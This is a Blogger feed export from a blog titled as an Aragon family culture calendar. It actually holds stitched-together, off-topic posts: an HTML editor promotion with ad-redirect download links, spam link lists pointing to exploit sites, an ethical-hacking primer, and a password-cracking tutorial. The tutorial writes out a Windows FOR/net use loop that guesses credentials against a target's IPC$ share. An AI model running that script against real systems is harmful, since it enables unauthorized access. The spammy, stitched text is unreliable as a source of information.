tag:blogger.com,1999:blog-370142682024-03-05T11:17:15.333+01:00cartelera familiarCartelera de eventos de interés cultural en Aragón, pensando en toda la familia.fridhttp://www.blogger.com/profile/07343297365348426502noreply@blogger.comBlogger1880125tag:blogger.com,1999:blog-37014268.post-27228740111717189162024-01-29T00:36:00.001+01:002024-01-29T00:36:58.687+01:00The Live HTML Editor<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh64HUHpRYm-0CnHTXnoS0CAKsiyDcd2sbFCAuvp7NObPZ8IJLZvRRb4PlETrrvuJfv28VqmnLiQcaZiqgefr8v8KhEkQTBQ53rXEZZeZ_gIE1VSSAM8at6AVuX8WCc45vfBUu3/s1600/picture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh64HUHpRYm-0CnHTXnoS0CAKsiyDcd2sbFCAuvp7NObPZ8IJLZvRRb4PlETrrvuJfv28VqmnLiQcaZiqgefr8v8KhEkQTBQ53rXEZZeZ_gIE1VSSAM8at6AVuX8WCc45vfBUu3/s1600/picture.png" height="230" width="320" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div align="center" class="MsoNormal" style="text-align: center;"> <span style="font-size: large;"><a href="http://adf.ly/1EVvtM" target="_blank">Download Now</a></span></div> <div align="center" class="MsoNormal" style="text-align: center;"> <br /></div> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;">The Live HTML Editor program lets you write your HTML pages while viewing dynamically what changes are happening to your HTML page. The main purpose of this tool is to help HTML learners learn HTML quickly and easily while keeping an eye on what they are doing with their HTML page. It also helps developers in writing quick HTML lines to see how it will affect their HTML page.<o:p></o:p></span></div> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;"><br /></span></div> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;">This program can also help you visualize your inline and embedded CSS styles on fly. You can apply CSS styles and see them dynamically change the look and feel of your HTML page. Developers can test different inline and embedded CSS styles to make sure what will look good on their website.</span></div> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;"><br /></span></div> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;">Some of the features of this program are:<o:p></o:p></span></div> <div class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -.25in;"> </div> <ul style="text-align: left;"> <li><span style="font-family: 'Trebuchet MS', sans-serif; font-size: 7pt; font-stretch: normal; text-indent: -0.25in;"> <span style="color: #cc0000;"> </span></span><span style="color: #cc0000;"><span dir="LTR" style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;"></span><span style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;">Live HTML preview of whatever HTML you type.</span></span></li> <li><span style="color: #cc0000;"><span style="font-family: 'Trebuchet MS', sans-serif; font-size: 7pt; font-stretch: normal; text-indent: -0.25in;"> </span><span dir="LTR" style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;"></span><span style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;">Supports HTML Syntax Highlighting.</span></span></li> <li><span style="color: #cc0000;"><span style="font-family: 'Trebuchet MS', sans-serif; font-size: 7pt; font-stretch: normal; text-indent: -0.25in;"> </span><span dir="LTR" style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;"></span><span style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;">Supports opening an HTML file and Live Preview editing of that file.</span></span></li> <li><span style="color: #cc0000;"><span style="font-family: 'Trebuchet MS', sans-serif; font-size: 7pt; font-stretch: normal; text-indent: -0.25in;"> </span><span dir="LTR" style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;"></span><span style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;">Supports Saving files.</span></span></li> <li><span style="color: #cc0000;"><span style="font-family: 'Trebuchet MS', sans-serif; font-size: 7pt; font-stretch: normal; text-indent: -0.25in;"> </span><span dir="LTR" style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;"></span><span style="font-family: 'Trebuchet MS', sans-serif; text-indent: -0.25in;">Support for inline and embedded CSS.</span></span></li> </ul> <!--[if !supportLists]--><br /> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;">However this program does not support Javascript and it also doesn't support separate CSS files. This program is still in development phase and we might see support for Javascript and separate CSS files in the future.<o:p></o:p></span></div> <br /> <div class="MsoNormal"> <span style="font-family: Trebuchet MS, sans-serif;">If you are a student and want to learn HTML without having to install a bulky software that takes a lot of time to open and function, then this is a good option.</span><br /> <span style="font-family: Trebuchet MS, sans-serif;"><br /></span> <span style="font-family: Trebuchet MS, sans-serif;">The Live HTML Editor is Free and Opensource project and has been written in Python with QT interface you can check out source from <a href="http://adf.ly/1EVy6G" target="_blank">sourceforge</a>.</span></div> </div><strong>More information</strong><br><ol><li> <a href="https://www.google.bi/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fexploit.kitploit.com%2F2020%2F06%2Fonline-student-enrollment-system-10.html">Hacking Tools For Windows 7 </a></li><li> <a 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src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhumW77F6oeO89EmA0UXJCDkagAqT6SwT9oT3y80ZyXYKPBBReo5ibab2ko1XfnaWSxVxQJjkTWW35_PIEVjC2JNON9Nlmq1eF1pEoh9PBYWJBFBuo1lHZNdvmWbyrLjK4pq2WO/s320/howtorun31.jpg" alt="" id="BLOGGER_PHOTO_ID_5249228777558725570" border="0" /></a>"Exploit-Me is a suite of <a href="http://www.firefox.com/">Firefox</a> web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the <a href="http://sector.ca/">SecTor</a> conference in Toronto. The slides for the presentation are <a href="http://securitycompass.com/exploit_me/Exploit-Me_Presentation_Sector_2007.pdf">available</a> for download. Along with this <a href="http://sector.ca/">SecTor</a> is making the audio of the talk <a href="http://www.sector.ca/Presentations/Videos/SecTor%202007%20-%20Rohit%20Sethi%20Nish%20Bhalla.wmv">available</a>." <a href="http://securitycompass.com/exploitme.shtml"><span style="font-weight: bold;">read more...</span></a><br /></div><br /><br /><br />Website: <a style="font-weight: bold;" href="http://securitycompass.com/exploitme.shtml">http://securitycompass.com/exploitme.shtml</a><br /><p></p><h3>Continue reading</h3><br><ul><li> <a href="https://www.google.mk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fexploit.kitploit.com%2F2020%2F08%2Fvbulletin-562-persistent-cross-site.html">Install Pentest Tools Ubuntu </a></li><li> <a href="https://lt.search.yahoo.com/search?p=site%3Avideos.hacking.land&fr=yfp-t&fp=1&toggle=1&cop=mss&ei=UTF-8&fp=1&b=411&pz=10&bct=0&xargs=0">How To Make Hacking Tools </a></li><li> <a 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href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikkKzPXgBkq3d5dfz3YjT8OkQhCTEiRHKDM_6RrDF5SfuLjDRdg9U_Jf0dWCcOJX7NwJXOH5M9VlwQZCrlg387ynrwtkd7jN9rKwWKHSuR4H6KfahOkRUwSNLfpOpoliKMeVmmgg/s1600/IMG_20181120_080030_453.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="720" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikkKzPXgBkq3d5dfz3YjT8OkQhCTEiRHKDM_6RrDF5SfuLjDRdg9U_Jf0dWCcOJX7NwJXOH5M9VlwQZCrlg387ynrwtkd7jN9rKwWKHSuR4H6KfahOkRUwSNLfpOpoliKMeVmmgg/s320/IMG_20181120_080030_453.jpg" width="320" /></a><br /> Legality of Ehical Hacking<br /> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikp-mWMlpcxQIjOfXgXtJd3UPUY8WigK8XD1I6mRjUb3t1A2DSGZ0ixoUFEs3SkDpwLGCTtjyeZsM_3ppEMp7D3S_mpof5cmEdoNi6W8CFSpQ46FkpCxybxb364uVHOQeUsySv5g/s1600/IMG_20181120_080030_454.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="720" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikp-mWMlpcxQIjOfXgXtJd3UPUY8WigK8XD1I6mRjUb3t1A2DSGZ0ixoUFEs3SkDpwLGCTtjyeZsM_3ppEMp7D3S_mpof5cmEdoNi6W8CFSpQ46FkpCxybxb364uVHOQeUsySv5g/s320/IMG_20181120_080030_454.jpg" width="320" /></a><br /> <span style="background-color: red;">Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.</span><br /> <span style="background-color: red;"><br /></span> <span style="background-color: red;">Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.</span></div><h4>Related posts</h4><br><ol><li> <a href="https://www.google.ws/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fexploit.kitploit.com%2F2020%2F07%2Fruby-on-rails-501-remote-code-execution.html">Pentest Tools Port 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href="https://www.google.cd/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F08%2Fchalumeau-automated-extendable-and.html">Android Hack Tools Github </a></li></ol>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-37213159839353530872024-01-27T22:58:00.001+01:002024-01-27T22:58:42.125+01:00How To Start | How To Become An Ethical Hacker<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="graf graf--p graf-after--figure" id="7d97" name="7d97"> Are you tired of reading endless news stories about <em class="markup--em markup--p-em">ethical hacking </em>and not really knowing what that means? Let's change that!</div> <div class="graf graf--p graf-after--p" id="72d5" name="72d5"> This Post is for the people that:</div> <div class="graf graf--p graf-after--p" id="72d5" name="72d5"> <br /></div> <ul class="postList"> <li class="graf graf--li graf-after--p" id="3563" name="3563">Have No Experience With Cybersecurity (Ethical Hacking)</li> <li class="graf graf--li graf-after--li" id="4c9e" name="4c9e">Have Limited Experience.</li> <li class="graf graf--li graf-after--li" id="5cc6" name="5cc6">Those That Just Can't Get A Break</li> </ul> <div class="graf graf--p graf-after--li" id="fccf" name="fccf"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9snHkI8fAJb4WyymVfzP7cRVtLkAizZrx49DZTJfqYu1LQIccWcEhh7QsmVm4K5xBHHwwbACBhwg758tw_GLbGF2ynctslwOQZLYV0U_2jqIOeCkDMCv1kxxJiF65I0XB2d5V/s1600/hacker-hacking-ddos-keyboard-1040x585.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="585" data-original-width="1040" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9snHkI8fAJb4WyymVfzP7cRVtLkAizZrx49DZTJfqYu1LQIccWcEhh7QsmVm4K5xBHHwwbACBhwg758tw_GLbGF2ynctslwOQZLYV0U_2jqIOeCkDMCv1kxxJiF65I0XB2d5V/s320/hacker-hacking-ddos-keyboard-1040x585.jpg" width="320" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="graf graf--p graf-after--li" id="fccf" name="fccf"> OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity. </div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66"> I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀</div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66"> <br /></div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66" style="text-align: center;"> <b>I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.</b></div> <div class="graf graf--p graf-after--p" id="3d66" name="3d66" style="text-align: center;"> <br /></div> <div class="graf graf--p graf-after--p" id="1890" name="1890"> If you have no experience <strong class="markup--strong markup--p-strong">don't worry.</strong> We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.</div> <div class="graf graf--p graf-after--p" id="7d6e" name="7d6e"> Let's get this party started.</div> <ul style="text-align: left;"> <li> <b>What is hacking?</b></li> </ul> <div class="graf graf--p graf-after--h4" id="52c0" name="52c0"> Hacking is <strong class="markup--strong markup--p-strong">identifying</strong> weakness and vulnerabilities of some system and <strong class="markup--strong markup--p-strong">gaining access</strong> with it.</div> <em class="markup--em markup--p-em">Hacker</em> gets unauthorized access by targeting system while <em class="markup--em markup--p-em">ethical hacker</em> have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)<br /> <br /> There's some types of hackers, a bit of "terminology".<br /><strong class="markup--strong markup--p-strong">White hat</strong> — ethical hacker.<br /><strong class="markup--strong markup--p-strong">Black hat</strong> — classical hacker, get unauthorized access.<br /><strong class="markup--strong markup--p-strong">Grey hat</strong> — person who gets unauthorized access but reveals the weaknesses to the company.<br /><strong class="markup--strong markup--p-strong">Script kiddie</strong> — person with no technical skills just used pre-made tools.<br /><strong class="markup--strong markup--p-strong">Hacktivist </strong>— person who hacks for some idea and leaves some messages. For example strike against copyright.<br /> <ul style="text-align: left;"> <li><b> Skills required to become ethical hacker.</b></li> </ul> <ol class="postList"> <li class="graf graf--li graf-after--h4" id="77e1" name="77e1">Curosity anf exploration</li> <li class="graf graf--li graf-after--li" id="51a1" name="51a1">Operating System</li> <li class="graf graf--li graf-after--li" id="9c31" name="9c31">Fundamentals of Networking</li> </ol> *Note this sites<br /> <ul> <li><a href="http://hackquest.de/" name="hackquestde" rel="nofollow" title="hackquest.de">hackquest.de</a></li> <li><a href="http://hacktissite.org/" name="hacktissiteorg" rel="nofollow" title="hacktissite.org">hacktissite.org</a></li> <li><a href="http://www.trythis0ne.com/" name="wwwtrythis0necom" rel="nofollow" title="www.trythis0ne.com">www.trythis0ne.com</a></li> <li><a href="http://www.hackchallenge.net/" name="wwwhackchallengenet" rel="nofollow" title="www.hackchallenge.net">www.hackchallenge.net</a></li> <li><a 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Enjoy.. </p><p><br /></p><p>@Ficti0n on twitter.. </p><p><br /></p><h1 style="text-align: left;">Video 1 UI Workflows and Scripting:</h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="476" src="https://www.youtube.com/embed/tCcLhsTdFEw" width="572" youtube-src-id="tCcLhsTdFEw"></iframe></div><div><br /></div><div><br /></div><h1 style="text-align: left;">Video 2: Scripting Part1 </h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="479" src="https://www.youtube.com/embed/RVyZBqjLrE0" width="577" youtube-src-id="RVyZBqjLrE0"></iframe></div><br /><h1 style="text-align: left;">Video 3: Scripting Part 2</h1><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="478" src="https://www.youtube.com/embed/gLggUUy0-iI" width="576" youtube-src-id="gLggUUy0-iI"></iframe></div><br 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src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoiWm3e0pbayHmzzn81KyDVWXNYeB1cBjBiUox7VKOyIWyz0SgJMqCSKgSbUC94FSWd_P73QN90xCd0SCh-F35IFqtrD8MvdO2sesPRzUPZF03FMVUBzboxo047-KnE3gaqprS/s400/courses-3.jpg" width="400" /></a></div> <br /> This blog based on two major concepts:<br /> <ul> <li>Understand password-cracking techniques</li> <li>Understand different types of passwords </li> </ul> <h2> The simplest way to crack the passwords</h2> The first step is to access the system is that you should know how to crack the password of the target system. Passwords are the key element of information require to access the system, and users also selects passwords that are easy to guess such as mostly people has a passwords of their pet's name or room number etc to help them remember it. Because of this human factor, most password guessing is successful if some information is known about the target. Information gathering and reconnaissance can help give away information that will help a hacker guess a user's password.<br /> <br /> Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.<br /> <br /> <h2> Types of Passwords </h2> <ul> <li>Only numbers</li> <li>Only letters</li> <li>Only special characters</li> <li>Letters and numbers</li> <li>Only letters and special characters </li> <li>Numbers, letters and special characters</li> </ul> A strong password is less susceptible to attack by a hacker. The following rules, proposed by the EC-Council, should be applied when you're creating a password, to protect it against attacks:<br /> <ul> <li>Must not contain any part of the user's account name</li> <li>Must have a minimum of eight characters</li> <li>Must contain characters from at least three of the following categories: <ul> <li>Non alphanumeric symbols ($,:"%@!#)</li> <li>Numbers</li> <li>Uppercase letters</li> <li>Lowercase letters </li> </ul> </li> </ul> A hacker may use different types of attacks in order to identify a password and gain further access to a system. The types of password attacks are as follows:<br /> <h3> Passive Online</h3> Eavesdropping on network password exchanges. Passive online attacks<br /> include sniffing, man-in-the-middle, and replay attacks. Moreover, a passive online attack is also known as <b>sniffing</b> the password on a wired or wireless network. A passive attack is not detectable to the end user. The password is captured during the authentication process and can then be compared against a dictionary file or word list. User account passwords are commonly hashed or encrypted when sent on the network to prevent unauthorized access and use. If the password is protected by encryption or hashing, special tools in the hacker's toolkit can be used to break the algorithm.<br /> <br /> Another passive online attack is known as <b>man-in-the-middle</b> (MITM). In a MITM attack, the hacker intercepts the authentication request and forwards it to the server. By inserting a sniffer between the client and the server, the hacker is able to sniff both connections and capture passwords in the process.<br /> <br /> A <b>replay attack</b> is also a passive online attack; it occurs when the hacker intercepts the password en route to the authentication server and then captures and resend the authentication packets for later authentication. In this manner, the hacker doesn't have to break the password or learn the password through MITM but rather captures the password and reuses the password-authentication packets later to authenticate as the client.<br /> <h3> Active Online</h3> Guessing the Administrator password. Active online attacks include auto-<br /> mated password guessing. Moreover, The easiest way to gain administrator-level access to a system is to guess a simple password assuming the administrator used a simple password. Password guessing is an active online attack. It relies on the human factor involved in password creation and only works on weak<br /> passwords.<br /> <br /> Assuming that the NetBIOS TCP 139 port is open, the most effective method of breaking into a Windows NT or Windows 2000 system is password guessing. This is done by attempting to connect to an enumerated share ( IPC$ or C$ ) and trying a username and password combination. The most commonly used Administrator account and password combinations are words like Admin, Administrator, Sysadmin, or Password, or a null password.<br /> A hacker may first try to connect to a default Admin$ , C$ , or C:\Windows share. To connect to the hidden C: drive share, for example, type the following command in the Run field (Start ➪ Run):<br /> <br /> \\<i>ip_address</i>\c$<br /> <br /> Automated programs can quickly generate dictionary files, word lists, or every possible combination of letters, numbers, and special characters and then attempt to log on using those credentials. Most systems prevent this type of attack by setting a maximum number of login attempts on a system before the account is locked.<br /> <br /> In the following sections, we'll discuss how hackers can perform automated password guessing more closely, as well as countermeasures to such attacks.<br /> <br /> <h2> Performing Automated Password Guessing</h2> To speed up the guessing of a password, hackers use automated tools. An easy process for automating password guessing is to use the Windows shell commands based on the standard NET USE syntax. To create a simple automated password-guessing script, perform the following steps:<br /> <ol> <li>Create a simple username and password file using Windows Notepad. Automated tools such as the Dictionary Generator are available to create this word list. Save the file on the C: drive as credentials.txt.</li> <li>Pipe this file using the FOR command: <b>C:\> FOR /F "token=1, 2*" %i in (credentials.txt)</b></li> <li>Type<b> net use</b> <b>\\targetIP\IPC$ %i /u: %j</b> to use the credentials.txt file to attempt to log on to the target system's hidden share.</li> </ol> <h3> Offline Attacks </h3> Offline attacks are performed from a location other than the actual computer where the passwords reside or were used. Offline attacks usually require physical access to the computer and copying the password file from the system onto removable media. The hacker then takes the file to another computer to perform the cracking. Several types of offline password attacks exist.<br /> <br /> <table> <thead> <tr><th>Types of Attack</th> <th>Characteristics</th> <th>Password Example</th> </tr> </thead> <tbody> <tr> <td>Dictionary attack</td> <td>Attempts to use passwords from a list of dictionary words</td> <td>Administrator</td> </tr> <tr> <td>Hybrid attack</td> <td>Substitutes numbers of symbols for password characters</td> <td>Adm1n1strator</td> </tr> <tr> <td>Brute-force attack</td> <td>Tries all possible combinations of letters, numbers, and special characters</td> <td>Ms!tr245@F5a</td> </tr> </tbody> </table> <br /> A <b>dictionary attack</b> is the simplest and quickest type of attack. It's used to identify a password that is an actual word, which can be found in a dictionary. Most commonly, the attack uses a dictionary file of possible words, which is hashed using the same algorithm used by the authentication process. Then, the hashed dictionary words are compared with hashed passwords as the user logs on, or with passwords stored in a file on the server. The dictionary attack works only if the password is an actual dictionary word; therefore, this type of attack has some limitations. It can't be used against strong passwords containing numbers or other symbols.<br /> <br /> A <b>hybrid attack</b> is the next level of attack a hacker attempts if the password can't be found using a dictionary attack. The hybrid attack starts with a dictionary file and substitutes numbers and symbols for characters in the password. For example, many users add the number 1 to the end of their password to meet strong password requirements. A hybrid attack is designed to find those types of anomalies in passwords.<br /> <br /> The most time-consuming type of attack is a <b>brute-force attack</b>, which tries every possible combination of uppercase and lowercase letters, numbers, and symbols. A brute-force attack is the slowest of the three types of attacks because of the many possible combinations of characters in the password. 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</a></li></ol>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-35476826997193253812024-01-26T21:21:00.001+01:002024-01-26T21:21:20.163+01:00How To Change Facebook’s Default Theme To Any Color You Want<div dir="ltr" style="text-align: left;" trbidi="on"> <img alt="Change Facebook Theme Using Chrome Extension" class="attachment-single-post-thumbnail size-single-post-thumbnail wp-post-image" height="450" sizes="(max-width: 800px) 100vw, 800px" src="https://techviral.net/wp-content/uploads/2016/02/FB-COLOR-4.png" srcset="https://techviral.net/wp-content/uploads/2016/02/FB-COLOR-4.png 800w, https://techviral.net/wp-content/uploads/2016/02/FB-COLOR-4-300x169.png 300w, https://techviral.net/wp-content/uploads/2016/02/FB-COLOR-4-768x432.png 768w" style="border: 0px; color: #222222; float: left; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; height: auto !important; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; text-align: center; vertical-align: baseline;" width="800" /><br style="color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; text-align: center;" /><br /> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: center; vertical-align: baseline;"> How To Change Facebook's Default Theme To Any Color You Want</div> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: center; vertical-align: baseline;"> <br /></div> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: left; vertical-align: baseline;"> <span style="background-color: white; font-family: Georgia; font-size: 20px; font-style: italic; text-align: justify;">We are going to share an interesting trick on changing your Facebook default theme. You just need a Google Chrome extension to perform this trick. If you are among me who feels very fatigued with the look of </span><strong style="background-color: white; border: 0px; font-family: Georgia; font-size: 20px; font-stretch: inherit; font-style: italic; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">Facebook's by default theme</strong><span style="background-color: white; font-family: Georgia; font-size: 20px; font-style: italic; text-align: justify;"> then this is a must-see post because you will find out the easiest trick to make your facebook more attractive than before.</span></div> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: left; vertical-align: baseline;"> <span style="background-color: white; font-family: Georgia; font-size: 20px; font-style: italic; text-align: justify;"><br /></span></div> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: left; vertical-align: baseline;"> <span class="wpsdc-drop-cap" style="background: rgb(68, 68, 68); border: 0px; color: white; display: inline-block; float: left; font-size: 1.5em; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; height: 2em; line-height: 2em; margin: 0.2em 0.5em 0.2em 0px; overflow: hidden; padding: 0px; text-align: center; text-transform: uppercase; vertical-align: baseline; width: 2em;">F</span><span style="background-color: white; text-align: justify;">acebook is a social networking site which empowers people to connect with friends and people around. That's how Facebook is habitually introduced. However, Facebook is beyond the need of being introduced as almost everyone is on it.</span></div> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: left; vertical-align: baseline;"> <span style="background-color: white; text-align: justify;"> </span><span style="background-color: white; text-align: justify;">A couple of Days ago I was simply Surfing Google Chrome website and I somehow stumbled upon a Chrome Extension. Yes, a Chrome extension that will give your Facebook a Whole new look. I was apprehensive to try it, So I just installed it and checked my facebook. I was astonished to see my facebook homepage have all new look. I found it refreshing and decided to write steps on </span><strong style="background-color: white; border: 0px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">How to Change Facebook Themes</strong><span style="background-color: white; text-align: justify;"> using Chrome Extension.</span></div> <div class="wp-caption-text" style="border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; padding: 0px; text-align: left; vertical-align: baseline;"> <span style="background-color: white; text-align: justify;"><br /></span></div> <h2 style="background-color: white; border: 0px; color: #555555; font-family: Helvetica, Arial, sans-serif; font-size: 34px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; font-weight: normal; line-height: 1.2; margin: 0px 0px 12px; padding: 0px; text-align: justify; vertical-align: baseline;"> <span id="How_To_Change_Facebookrsquos_Default_Theme_To_Any_Color_You_Want" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">How To Change Facebook's Default Theme To Any Color You Want</strong></span></h2> <div style="background-color: white; border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 20px; padding: 0px; text-align: justify; vertical-align: baseline;"> If You are among me who feels very fatigued with the look of <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Facebook's by default theme</strong> then this is a must-see post, Because you will find out the easiest trick to make your facebook more attractive than before. Simply follow the steps to know about it.</div> <h3 style="background-color: white; border: 0px; color: #555555; font-family: Helvetica, Arial, sans-serif; font-size: 30px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; font-weight: normal; line-height: 1.3; margin: 0px 0px 12px; padding: 0px; text-align: justify; vertical-align: baseline;"> <span id="How_to_Change_Facebook_Theme_Using_Chrome_Extension" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">How to Change Facebook Theme Using Chrome Extension</strong></span></h3> <div style="background-color: white; border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 20px; padding: 0px; text-align: justify; vertical-align: baseline;"> <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Step 1.</strong> Install Stylish for Chrome from the <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><a data-wpel-link="external" href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe" rel="nofollow external noopener noreferrer" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;" target="_blank">Chrome Web Store</a></strong>. It will take hardly a minute to get installed in your Chrome browser.</div> <div class="wp-caption aligncenter" id="attachment_41895" style="background: rgb(255, 255, 255); border: 1px solid rgb(240, 240, 240); color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: 